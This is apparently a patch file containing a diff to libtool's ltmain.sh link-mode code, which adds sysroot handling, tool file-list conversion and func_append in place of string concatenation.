+ test "$hardcode_shlibpath_var" = yes; then
+ case :$finalize_shlibpath: in
+ *":$libdir:"*) ;;
+- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
++ *) func_append finalize_shlibpath "$libdir:" ;;
+ esac
+ fi
+ fi
+ fi
+
+- if test "$linkmode" = prog || test "$mode" = relink; then
++ if test "$linkmode" = prog || test "$opt_mode" = relink; then
+ add_shlibpath=
+ add_dir=
+ add=
+@@ -5989,7 +6899,7 @@ func_mode_link ()
+ elif test "$hardcode_shlibpath_var" = yes; then
+ case :$finalize_shlibpath: in
+ *":$libdir:"*) ;;
+- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
++ *) func_append finalize_shlibpath "$libdir:" ;;
+ esac
+ add="-l$name"
+ elif test "$hardcode_automatic" = yes; then
+@@ -6001,12 +6911,12 @@ func_mode_link ()
+ fi
+ else
+ # We cannot seem to hardcode it, guess we'll fake it.
+- add_dir="-L$libdir"
++ add_dir="-L$lt_sysroot$libdir"
+ # Try looking first in the location we're being installed to.
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
+ [\\/]*)
+- add_dir="$add_dir -L$inst_prefix_dir$libdir"
++ func_append add_dir " -L$inst_prefix_dir$libdir"
+ ;;
+ esac
+ fi
+@@ -6083,27 +6993,33 @@ func_mode_link ()
+ temp_xrpath=$func_stripname_result
+ case " $xrpath " in
+ *" $temp_xrpath "*) ;;
+- *) xrpath="$xrpath $temp_xrpath";;
++ *) func_append xrpath " $temp_xrpath";;
+ esac;;
+- *) temp_deplibs="$temp_deplibs $libdir";;
++ *) func_append temp_deplibs " $libdir";;
+ esac
+ done
+ dependency_libs="$temp_deplibs"
+ fi
+
+- newlib_search_path="$newlib_search_path $absdir"
++ func_append newlib_search_path " $absdir"
+ # Link against this library
+ test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs"
+ # ... and its dependency_libs
+ tmp_libs=
+ for deplib in $dependency_libs; do
+ newdependency_libs="$deplib $newdependency_libs"
+- if $opt_duplicate_deps ; then
++ case $deplib in
++ -L*) func_stripname '-L' '' "$deplib"
++ func_resolve_sysroot "$func_stripname_result";;
++ *) func_resolve_sysroot "$deplib" ;;
++ esac
++ if $opt_preserve_dup_deps ; then
+ case "$tmp_libs " in
+- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
++ *" $func_resolve_sysroot_result "*)
++ func_append specialdeplibs " $func_resolve_sysroot_result" ;;
+ esac
+ fi
+- tmp_libs="$tmp_libs $deplib"
++ func_append tmp_libs " $func_resolve_sysroot_result"
+ done
+
+ if test "$link_all_deplibs" != no; then
+@@ -6113,8 +7029,10 @@ func_mode_link ()
+ case $deplib in
+ -L*) path="$deplib" ;;
+ *.la)
++ func_resolve_sysroot "$deplib"
++ deplib=$func_resolve_sysroot_result
+ func_dirname "$deplib" "" "."
+- dir="$func_dirname_result"
++ dir=$func_dirname_result
+ # We need an absolute path.
+ case $dir in
+ [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;;
+@@ -6130,7 +7048,7 @@ func_mode_link ()
+ case $host in
+ *-*-darwin*)
+ depdepl=
+- deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
++ eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
+ if test -n "$deplibrary_names" ; then
+ for tmp in $deplibrary_names ; do
+ depdepl=$tmp
+@@ -6141,8 +7059,8 @@ func_mode_link ()
+ if test -z "$darwin_install_name"; then
+ darwin_install_name=`${OTOOL64} -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'`
+ fi
+- compiler_flags="$compiler_flags ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
+- linker_flags="$linker_flags -dylib_file ${darwin_install_name}:${depdepl}"
++ func_append compiler_flags " ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
++ func_append linker_flags " -dylib_file ${darwin_install_name}:${depdepl}"
+ path=
+ fi
+ fi
+@@ -6152,7 +7070,7 @@ func_mode_link ()
+ ;;
+ esac
+ else
+- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
++ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
+ test -z "$libdir" && \
+ func_fatal_error "\`$deplib' is not a valid libtool archive"
+ test "$absdir" != "$libdir" && \
+@@ -6192,7 +7110,7 @@ func_mode_link ()
+ for dir in $newlib_search_path; do
+ case "$lib_search_path " in
+ *" $dir "*) ;;
+- *) lib_search_path="$lib_search_path $dir" ;;
++ *) func_append lib_search_path " $dir" ;;
+ esac
+ done
+ newlib_search_path=
+@@ -6205,7 +7123,7 @@ func_mode_link ()
+ fi
+ for var in $vars dependency_libs; do
+ # Add libraries to $var in reverse order
+- eval tmp_libs=\$$var
++ eval tmp_libs=\"\$$var\"
+ new_libs=
+ for deplib in $tmp_libs; do
+ # FIXME: Pedantically, this is the right thing to do, so
+@@ -6250,13 +7168,13 @@ func_mode_link ()
+ -L*)
+ case " $tmp_libs " in
+ *" $deplib "*) ;;
+- *) tmp_libs="$tmp_libs $deplib" ;;
++ *) func_append tmp_libs " $deplib" ;;
+ esac
+ ;;
+- *) tmp_libs="$tmp_libs $deplib" ;;
++ *) func_append tmp_libs " $deplib" ;;
+ esac
+ done
+- eval $var=\$tmp_libs
++ eval $var=\"$tmp_libs\"
+ done # for var
+ fi
+ # Last step: remove runtime libs from dependency_libs
+@@ -6269,7 +7187,7 @@ func_mode_link ()
+ ;;
+ esac
+ if test -n "$i" ; then
+- tmp_libs="$tmp_libs $i"
++ func_append tmp_libs " $i"
+ fi
+ done
+ dependency_libs=$tmp_libs
+@@ -6310,7 +7228,7 @@ func_mode_link ()
+ # Now set the variables for building old libraries.
+ build_libtool_libs=no
+ oldlibs="$output"
+- objs="$objs$old_deplibs"
++ func_append objs "$old_deplibs"
+ ;;
+
+ lib)
+@@ -6319,8 +7237,8 @@ func_mode_link ()
+ lib*)
+ func_stripname 'lib' '.la' "$outputname"
+ name=$func_stripname_result
+- eval "shared_ext=\"$shrext_cmds\""
+- eval "libname=\"$libname_spec\""
++ eval shared_ext=\"$shrext_cmds\"
++ eval libname=\"$libname_spec\"
+ ;;
+ *)
+ test "$module" = no && \
+@@ -6330,8 +7248,8 @@ func_mode_link ()
+ # Add the "lib" prefix for modules if required
+ func_stripname '' '.la' "$outputname"
+ name=$func_stripname_result
+- eval "shared_ext=\"$shrext_cmds\""
+- eval "libname=\"$libname_spec\""
++ eval shared_ext=\"$shrext_cmds\"
++ eval libname=\"$libname_spec\"
+ else
+ func_stripname '' '.la' "$outputname"
+ libname=$func_stripname_result
+@@ -6346,7 +7264,7 @@ func_mode_link ()
+ echo
+ $ECHO "*** Warning: Linking the shared library $output against the non-libtool"
+ $ECHO "*** objects $objs is not portable!"
+- libobjs="$libobjs $objs"
++ func_append libobjs " $objs"
+ fi
+ fi
+
+@@ -6544,7 +7462,7 @@ func_mode_link ()
+ done
+
+ # Make executables depend on our current version.
+- verstring="$verstring:${current}.0"
++ func_append verstring ":${current}.0"
+ ;;
+
+ qnx)
+@@ -6612,10 +7530,10 @@ func_mode_link ()
+ fi
+
+ func_generate_dlsyms "$libname" "$libname" "yes"
+- libobjs="$libobjs $symfileobj"
++ func_append libobjs " $symfileobj"
+ test "X$libobjs" = "X " && libobjs=
+
+- if test "$mode" != relink; then
++ if test "$opt_mode" != relink; then
+ # Remove our outputs, but don't remove object files since they
+ # may have been created when compiling PIC objects.
+ removelist=
+@@ -6631,7 +7549,7 @@ func_mode_link ()
+ continue
+ fi
+ fi
+- removelist="$removelist $p"
++ func_append removelist " $p"
+ ;;
+ *) ;;
+ esac
+@@ -6642,7 +7560,7 @@ func_mode_link ()
+
+ # Now set the variables for building old libraries.
+ if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then
+- oldlibs="$oldlibs $output_objdir/$libname.$libext"
++ func_append oldlibs " $output_objdir/$libname.$libext"
+
+ # Transform .lo files to .o files.
+ oldobjs="$objs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; $lo2o" | $NL2SP`
+@@ -6659,10 +7577,11 @@ func_mode_link ()
+ # If the user specified any rpath flags, then add them.
+ temp_xrpath=
+ for libdir in $xrpath; do
+- temp_xrpath="$temp_xrpath -R$libdir"
++ func_replace_sysroot "$libdir"
++ func_append temp_xrpath " -R$func_replace_sysroot_result"
+ case "$finalize_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_rpath="$finalize_rpath $libdir" ;;
++ *) func_append finalize_rpath " $libdir" ;;
+ esac
+ done
+ if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then
+@@ -6676,7 +7595,7 @@ func_mode_link ()
+ for lib in $old_dlfiles; do
+ case " $dlprefiles $dlfiles " in
+ *" $lib "*) ;;
+- *) dlfiles="$dlfiles $lib" ;;
++ *) func_append dlfiles " $lib" ;;
+ esac
+ done
+
+@@ -6686,7 +7605,7 @@ func_mode_link ()
+ for lib in $old_dlprefiles; do
+ case "$dlprefiles " in
+ *" $lib "*) ;;
+- *) dlprefiles="$dlprefiles $lib" ;;
++ *) func_append dlprefiles " $lib" ;;
+ esac
+ done
+
+@@ -6698,7 +7617,7 @@ func_mode_link ()
+ ;;
+ *-*-rhapsody* | *-*-darwin1.[012])
+ # Rhapsody C library is in the System framework
+- deplibs="$deplibs System.ltframework"
++ func_append deplibs " System.ltframework"
+ ;;
+ *-*-netbsd*)
+ # Don't link with libc until the a.out ld.so is fixed.
+@@ -6715,7 +7634,7 @@ func_mode_link ()
+ *)
+ # Add libc to deplibs on all other systems if necessary.
+ if test "$build_libtool_need_lc" = "yes"; then
+- deplibs="$deplibs -lc"
++ func_append deplibs " -lc"
+ fi
+ ;;
+ esac
+@@ -6764,18 +7683,18 @@ EOF
+ if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+ case " $predeps $postdeps " in
+ *" $i "*)
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ i=""
+ ;;
+ esac
+ fi
+ if test -n "$i" ; then
+- eval "libname=\"$libname_spec\""
+- eval "deplib_matches=\"$library_names_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
++ deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
+ set dummy $deplib_matches; shift
+ deplib_match=$1
+ if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ else
+ droppeddeps=yes
+ echo
+@@ -6789,7 +7708,7 @@ EOF
+ fi
+ ;;
+ *)
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ ;;
+ esac
+ done
+@@ -6807,18 +7726,18 @@ EOF
+ if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+ case " $predeps $postdeps " in
+ *" $i "*)
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ i=""
+ ;;
+ esac
+ fi
+ if test -n "$i" ; then
+- eval "libname=\"$libname_spec\""
+- eval "deplib_matches=\"$library_names_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
++ deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
+ set dummy $deplib_matches; shift
+ deplib_match=$1
+ if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ else
+ droppeddeps=yes
+ echo
+@@ -6840,7 +7759,7 @@ EOF
+ fi
+ ;;
+ *)
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ ;;
+ esac
+ done
+@@ -6857,15 +7776,27 @@ EOF
+ if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+ case " $predeps $postdeps " in
+ *" $a_deplib "*)
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ a_deplib=""
+ ;;
+ esac
+ fi
+ if test -n "$a_deplib" ; then
+- eval "libname=\"$libname_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
++ if test -n "$file_magic_glob"; then
++ libnameglob=`func_echo_all "$libname" | $SED -e $file_magic_glob`
++ else
++ libnameglob=$libname
++ fi
++ test "$want_nocaseglob" = yes && nocaseglob=`shopt -p nocaseglob`
+ for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
+- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
++ if test "$want_nocaseglob" = yes; then
++ shopt -s nocaseglob
++ potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null`
++ $nocaseglob
++ else
++ potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null`
++ fi
+ for potent_lib in $potential_libs; do
+ # Follow soft links.
+ if ls -lLd "$potent_lib" 2>/dev/null |
+@@ -6885,10 +7816,10 @@ EOF
+ *) potlib=`$ECHO "$potlib" | $SED 's,[^/]*$,,'`"$potliblink";;
+ esac
+ done
+- if eval "$file_magic_cmd \"\$potlib\"" 2>/dev/null |
++ if eval $file_magic_cmd \"\$potlib\" 2>/dev/null |
+ $SED -e 10q |
+ $EGREP "$file_magic_regex" > /dev/null; then
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ a_deplib=""
+ break 2
+ fi
+@@ -6913,7 +7844,7 @@ EOF
+ ;;
+ *)
+ # Add a -L argument.
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ ;;
+ esac
+ done # Gone through all deplibs.
+@@ -6929,20 +7860,20 @@ EOF
+ if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+ case " $predeps $postdeps " in
+ *" $a_deplib "*)
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ a_deplib=""
+ ;;
+ esac
+ fi
+ if test -n "$a_deplib" ; then
+- eval "libname=\"$libname_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
+ for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
+ potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
+ for potent_lib in $potential_libs; do
+ potlib="$potent_lib" # see symlink-check above in file_magic test
+ if eval "\$ECHO \"$potent_lib\"" 2>/dev/null | $SED 10q | \
+ $EGREP "$match_pattern_regex" > /dev/null; then
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ a_deplib=""
+ break 2
+ fi
+@@ -6967,7 +7898,7 @@ EOF
+ ;;
+ *)
+ # Add a -L argument.
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ ;;
+ esac
+ done # Gone through all deplibs.
+@@ -7071,7 +8002,7 @@ EOF
+ *)
+ case " $deplibs " in
+ *" -L$path/$objdir "*)
+- new_libs="$new_libs -L$path/$objdir" ;;
++ func_append new_libs " -L$path/$objdir" ;;
+ esac
+ ;;
+ esac
+@@ -7081,10 +8012,10 @@ EOF
+ -L*)
+ case " $new_libs " in
+ *" $deplib "*) ;;
+- *) new_libs="$new_libs $deplib" ;;
++ *) func_append new_libs " $deplib" ;;
+ esac
+ ;;
+- *) new_libs="$new_libs $deplib" ;;
++ *) func_append new_libs " $deplib" ;;
+ esac
+ done
+ deplibs="$new_libs"
+@@ -7101,10 +8032,12 @@ EOF
+ hardcode_libdirs=
+ dep_rpath=
+ rpath="$finalize_rpath"
+- test "$mode" != relink && rpath="$compile_rpath$rpath"
++ test "$opt_mode" != relink && rpath="$compile_rpath$rpath"
+ for libdir in $rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
+ if test -n "$hardcode_libdir_separator"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs="$libdir"
+ else
+@@ -7113,18 +8046,18 @@ EOF
+ *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+ ;;
+ *)
+- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
++ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
+ ;;
+ esac
+ fi
+ else
+- eval "flag=\"$hardcode_libdir_flag_spec\""
+- dep_rpath="$dep_rpath $flag"
++ eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append dep_rpath " $flag"
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+ *" $libdir "*) ;;
+- *) perm_rpath="$perm_rpath $libdir" ;;
++ *) func_apped perm_rpath " $libdir" ;;
+ esac
+ fi
+ done
+@@ -7133,40 +8066,38 @@ EOF
+ test -n "$hardcode_libdirs"; then
+ libdir="$hardcode_libdirs"
+ if test -n "$hardcode_libdir_flag_spec_ld"; then
+- eval "dep_rpath=\"$hardcode_libdir_flag_spec_ld\""
++ eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\"
+ else
+- eval "dep_rpath=\"$hardcode_libdir_flag_spec\""
++ eval dep_rpath=\"$hardcode_libdir_flag_spec\"
+ fi
+ fi
+ if test -n "$runpath_var" && test -n "$perm_rpath"; then
+ # We should set the runpath_var.
+ rpath=
+ for dir in $perm_rpath; do
+- rpath="$rpath$dir:"
++ func_append rpath "$dir:"
+ done
+- eval $runpath_var=\$rpath\$$runpath_var
+- export $runpath_var
++ eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var"
+ fi
+ test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs"
+ fi
+
+ shlibpath="$finalize_shlibpath"
+- test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
++ test "$opt_mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
+ if test -n "$shlibpath"; then
+- eval $shlibpath_var=\$shlibpath\$$shlibpath_var
+- export $shlibpath_var
++ eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var"
+ fi
+
+ # Get the real and link names of the library.
+- eval "shared_ext=\"$shrext_cmds\""
+- eval "library_names=\"$library_names_spec\""
++ eval shared_ext=\"$shrext_cmds\"
++ eval library_names=\"$library_names_spec\"
+ set dummy $library_names
+ shift
+ realname="$1"
+ shift
+
+ if test -n "$soname_spec"; then
+- eval "soname=\"$soname_spec\""
++ eval soname=\"$soname_spec\"
+ else
+ soname="$realname"
+ fi
+@@ -7178,7 +8109,7 @@ EOF
+ linknames=
+ for link
+ do
+- linknames="$linknames $link"
++ func_append linknames " $link"
+ done
+
+ # Use standard objects if they are pic
+@@ -7189,7 +8120,7 @@ EOF
+ if test -n "$export_symbols" && test -n "$include_expsyms"; then
+ $opt_dry_run || cp "$export_symbols" "$output_objdir/$libname.uexp"
+ export_symbols="$output_objdir/$libname.uexp"
+- delfiles="$delfiles $export_symbols"
++ func_append delfiles " $export_symbols"
+ fi
+
+ orig_export_symbols=
+@@ -7220,13 +8151,45 @@ EOF
+ $opt_dry_run || $RM $export_symbols
+ cmds=$export_symbols_cmds
+ save_ifs="$IFS"; IFS='~'
+- for cmd in $cmds; do
++ for cmd1 in $cmds; do
+ IFS="$save_ifs"
+- eval "cmd=\"$cmd\""
+- func_len " $cmd"
+- len=$func_len_result
+- if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then
++ # Take the normal branch if the nm_file_list_spec branch
++ # doesn't work or if tool conversion is not needed.
++ case $nm_file_list_spec~$to_tool_file_cmd in
++ *~func_convert_file_noop | *~func_convert_file_msys_to_w32 | ~*)
++ try_normal_branch=yes
++ eval cmd=\"$cmd1\"
++ func_len " $cmd"
++ len=$func_len_result
++ ;;
++ *)
++ try_normal_branch=no
++ ;;
++ esac
++ if test "$try_normal_branch" = yes \
++ && { test "$len" -lt "$max_cmd_len" \
++ || test "$max_cmd_len" -le -1; }
++ then
++ func_show_eval "$cmd" 'exit $?'
++ skipped_export=false
++ elif test -n "$nm_file_list_spec"; then
++ func_basename "$output"
++ output_la=$func_basename_result
++ save_libobjs=$libobjs
++ save_output=$output
++ output=${output_objdir}/${output_la}.nm
++ func_to_tool_file "$output"
++ libobjs=$nm_file_list_spec$func_to_tool_file_result
++ func_append delfiles " $output"
++ func_verbose "creating $NM input file list: $output"
++ for obj in $save_libobjs; do
++ func_to_tool_file "$obj"
++ $ECHO "$func_to_tool_file_result"
++ done > "$output"
++ eval cmd=\"$cmd1\"
+ func_show_eval "$cmd" 'exit $?'
++ output=$save_output
++ libobjs=$save_libobjs
+ skipped_export=false
+ else
+ # The command line is too long to execute in one step.
+@@ -7248,7 +8211,7 @@ EOF
+ if test -n "$export_symbols" && test -n "$include_expsyms"; then
+ tmp_export_symbols="$export_symbols"
+ test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
+- $opt_dry_run || $ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"
++ $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"'
+ fi
+
+ if test "X$skipped_export" != "X:" && test -n "$orig_export_symbols"; then
+@@ -7260,7 +8223,7 @@ EOF
+ # global variables. join(1) would be nice here, but unfortunately
+ # isn't a blessed tool.
+ $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
+- delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
++ func_append delfiles " $export_symbols $output_objdir/$libname.filter"
+ export_symbols=$output_objdir/$libname.def
+ $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
+ fi
+@@ -7270,7 +8233,7 @@ EOF
+ case " $convenience " in
+ *" $test_deplib "*) ;;
+ *)
+- tmp_deplibs="$tmp_deplibs $test_deplib"
++ func_append tmp_deplibs " $test_deplib"
+ ;;
+ esac
+ done
+@@ -7286,43 +8249,43 @@ EOF
+ fi
+ if test -n "$whole_archive_flag_spec"; then
+ save_libobjs=$libobjs
+- eval "libobjs=\"\$libobjs $whole_archive_flag_spec\""
++ eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
+ test "X$libobjs" = "X " && libobjs=
+ else
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $convenience
+- libobjs="$libobjs $func_extract_archives_result"
++ func_append libobjs " $func_extract_archives_result"
+ test "X$libobjs" = "X " && libobjs=
+ fi
+ fi
+
+ if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then
+- eval "flag=\"$thread_safe_flag_spec\""
+- linker_flags="$linker_flags $flag"
++ eval flag=\"$thread_safe_flag_spec\"
++ func_append linker_flags " $flag"
+ fi
+
+ # Make a backup of the uninstalled library when relinking
+- if test "$mode" = relink; then
+- $opt_dry_run || (cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U) || exit $?
++ if test "$opt_mode" = relink; then
++ $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U)' || exit $?
+ fi
+
+ # Do each of the archive commands.
+ if test "$module" = yes && test -n "$module_cmds" ; then
+ if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
+- eval "test_cmds=\"$module_expsym_cmds\""
++ eval test_cmds=\"$module_expsym_cmds\"
+ cmds=$module_expsym_cmds
+ else
+- eval "test_cmds=\"$module_cmds\""
++ eval test_cmds=\"$module_cmds\"
+ cmds=$module_cmds
+ fi
+ else
+ if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
+- eval "test_cmds=\"$archive_expsym_cmds\""
++ eval test_cmds=\"$archive_expsym_cmds\"
+ cmds=$archive_expsym_cmds
+ else
+- eval "test_cmds=\"$archive_cmds\""
++ eval test_cmds=\"$archive_cmds\"
+ cmds=$archive_cmds
+ fi
+ fi
+@@ -7366,10 +8329,13 @@ EOF
+ echo 'INPUT (' > $output
+ for obj in $save_libobjs
+ do
+- $ECHO "$obj" >> $output
++ func_to_tool_file "$obj"
++ $ECHO "$func_to_tool_file_result" >> $output
+ done
+ echo ')' >> $output
+- delfiles="$delfiles $output"
++ func_append delfiles " $output"
++ func_to_tool_file "$output"
++ output=$func_to_tool_file_result
+ elif test -n "$save_libobjs" && test "X$skipped_export" != "X:" && test "X$file_list_spec" != X; then
+ output=${output_objdir}/${output_la}.lnk
+ func_verbose "creating linker input file list: $output"
+@@ -7383,15 +8349,17 @@ EOF
+ fi
+ for obj
+ do
+- $ECHO "$obj" >> $output
++ func_to_tool_file "$obj"
++ $ECHO "$func_to_tool_file_result" >> $output
+ done
+- delfiles="$delfiles $output"
+- output=$firstobj\"$file_list_spec$output\"
++ func_append delfiles " $output"
++ func_to_tool_file "$output"
++ output=$firstobj\"$file_list_spec$func_to_tool_file_result\"
+ else
+ if test -n "$save_libobjs"; then
+ func_verbose "creating reloadable object files..."
+ output=$output_objdir/$output_la-${k}.$objext
+- eval "test_cmds=\"$reload_cmds\""
++ eval test_cmds=\"$reload_cmds\"
+ func_len " $test_cmds"
+ len0=$func_len_result
+ len=$len0
+@@ -7411,12 +8379,12 @@ EOF
+ if test "$k" -eq 1 ; then
+ # The first file doesn't have a previous command to add.
+ reload_objs=$objlist
+- eval "concat_cmds=\"$reload_cmds\""
++ eval concat_cmds=\"$reload_cmds\"
+ else
+ # All subsequent reloadable object files will link in
+ # the last one created.
+ reload_objs="$objlist $last_robj"
+- eval "concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\""
++ eval concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\"
+ fi
+ last_robj=$output_objdir/$output_la-${k}.$objext
+ func_arith $k + 1
+@@ -7433,11 +8401,11 @@ EOF
+ # files will link in the last one created.
+ test -z "$concat_cmds" || concat_cmds=$concat_cmds~
+ reload_objs="$objlist $last_robj"
+- eval "concat_cmds=\"\${concat_cmds}$reload_cmds\""
++ eval concat_cmds=\"\${concat_cmds}$reload_cmds\"
+ if test -n "$last_robj"; then
+- eval "concat_cmds=\"\${concat_cmds}~\$RM $last_robj\""
++ eval concat_cmds=\"\${concat_cmds}~\$RM $last_robj\"
+ fi
+- delfiles="$delfiles $output"
++ func_append delfiles " $output"
+
+ else
+ output=
+@@ -7450,9 +8418,9 @@ EOF
+ libobjs=$output
+ # Append the command to create the export file.
+ test -z "$concat_cmds" || concat_cmds=$concat_cmds~
+- eval "concat_cmds=\"\$concat_cmds$export_symbols_cmds\""
++ eval concat_cmds=\"\$concat_cmds$export_symbols_cmds\"
+ if test -n "$last_robj"; then
+- eval "concat_cmds=\"\$concat_cmds~\$RM $last_robj\""
++ eval concat_cmds=\"\$concat_cmds~\$RM $last_robj\"
+ fi
+ fi
+
+@@ -7471,7 +8439,7 @@ EOF
+ lt_exit=$?
+
+ # Restore the uninstalled library and exit
+- if test "$mode" = relink; then
++ if test "$opt_mode" = relink; then
+ ( cd "$output_objdir" && \
+ $RM "${realname}T" && \
+ $MV "${realname}U" "$realname" )
+@@ -7492,7 +8460,7 @@ EOF
+ if test -n "$export_symbols" && test -n "$include_expsyms"; then
+ tmp_export_symbols="$export_symbols"
+ test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
+- $opt_dry_run || $ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"
++ $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"'
+ fi
+
+ if test -n "$orig_export_symbols"; then
+@@ -7504,7 +8472,7 @@ EOF
+ # global variables. join(1) would be nice here, but unfortunately
+ # isn't a blessed tool.
+ $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
+- delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
++ func_append delfiles " $export_symbols $output_objdir/$libname.filter"
+ export_symbols=$output_objdir/$libname.def
+ $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
+ fi
+@@ -7515,7 +8483,7 @@ EOF
+ output=$save_output
+
+ if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then
+- eval "libobjs=\"\$libobjs $whole_archive_flag_spec\""
++ eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
+ test "X$libobjs" = "X " && libobjs=
+ fi
+ # Expand the library linking commands again to reset the
+@@ -7539,23 +8507,23 @@ EOF
+
+ if test -n "$delfiles"; then
+ # Append the command to remove temporary files to $cmds.
+- eval "cmds=\"\$cmds~\$RM $delfiles\""
++ eval cmds=\"\$cmds~\$RM $delfiles\"
+ fi
+
+ # Add any objects from preloaded convenience libraries
+ if test -n "$dlprefiles"; then
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $dlprefiles
+- libobjs="$libobjs $func_extract_archives_result"
++ func_append libobjs " $func_extract_archives_result"
+ test "X$libobjs" = "X " && libobjs=
+ fi
+
+ save_ifs="$IFS"; IFS='~'
+ for cmd in $cmds; do
+ IFS="$save_ifs"
+- eval "cmd=\"$cmd\""
++ eval cmd=\"$cmd\"
+ $opt_silent || {
+ func_quote_for_expand "$cmd"
+ eval "func_echo $func_quote_for_expand_result"
+@@ -7564,7 +8532,7 @@ EOF
+ lt_exit=$?
+
+ # Restore the uninstalled library and exit
+- if test "$mode" = relink; then
++ if test "$opt_mode" = relink; then
+ ( cd "$output_objdir" && \
+ $RM "${realname}T" && \
+ $MV "${realname}U" "$realname" )
+@@ -7576,8 +8544,8 @@ EOF
+ IFS="$save_ifs"
+
+ # Restore the uninstalled library and exit
+- if test "$mode" = relink; then
+- $opt_dry_run || (cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname) || exit $?
++ if test "$opt_mode" = relink; then
